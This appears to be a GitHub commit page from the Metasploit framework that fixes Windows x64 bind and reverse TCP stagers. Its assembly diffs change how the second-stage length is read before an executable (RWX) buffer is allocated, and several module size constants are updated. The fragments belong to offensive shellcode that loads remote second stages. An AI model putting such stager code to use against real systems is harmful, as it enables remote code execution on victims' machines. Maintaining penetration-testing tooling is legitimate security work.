Skip to content

Commit 26c8380

Browse files
committed
Land rapid7#6016 - Fix windows x64 TCP stagers
Fixes rapid7#5988
2 parents b206de7 + b608abf commit 26c8380

File tree

9 files changed

+9
-7
lines changed

9 files changed

+9
-7
lines changed

external/source/shellcode/windows/x64/src/block/block_recv.asm

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@ recv:
2424
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
2525
; Alloc a RWX buffer for the second stage
2626
pop rsi ; pop off the second stage length
27+
mov esi, esi ; only use the lower-order 32 bits for the size
2728
push byte 0x40 ;
2829
pop r9 ; PAGE_EXECUTE_READWRITE
2930
push 0x1000 ;

lib/msf/core/payload/windows/x64/bind_tcp.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -220,6 +220,7 @@ def asm_bind_tcp(opts={})
220220
221221
; Alloc a RWX buffer for the second stage
222222
pop rsi ; pop off the second stage length
223+
mov esi, esi ; only use the lower-order 32 bits for the size
223224
push 0x40 ;
224225
pop r9 ; PAGE_EXECUTE_READWRITE
225226
push 0x1000 ;

lib/msf/core/payload/windows/x64/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -219,7 +219,7 @@ def asm_reverse_tcp(opts={})
219219
220220
; Alloc a RWX buffer for the second stage
221221
pop rsi ; pop off the second stage length
222-
movsxd rsi, esi ; only use the lower-order 32 bits for the size
222+
mov esi, esi ; only use the lower-order 32 bits for the size
223223
push 0x40 ;
224224
pop r9 ; PAGE_EXECUTE_READWRITE
225225
push 0x1000 ;

modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 483
12+
CachedSize = 485
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows::BindTcp_x64

modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 524
12+
CachedSize = 526
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows::BindTcp_x64

modules/payloads/stagers/windows/x64/bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 481
12+
CachedSize = 483
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows::BindTcp_x64

modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 522
12+
CachedSize = 524
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows::BindTcp_x64

modules/payloads/stagers/windows/x64/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 450
12+
CachedSize = 449
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows::ReverseTcp_x64

modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 491
12+
CachedSize = 490
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows::ReverseTcp_x64

0 commit comments

Comments
 (0)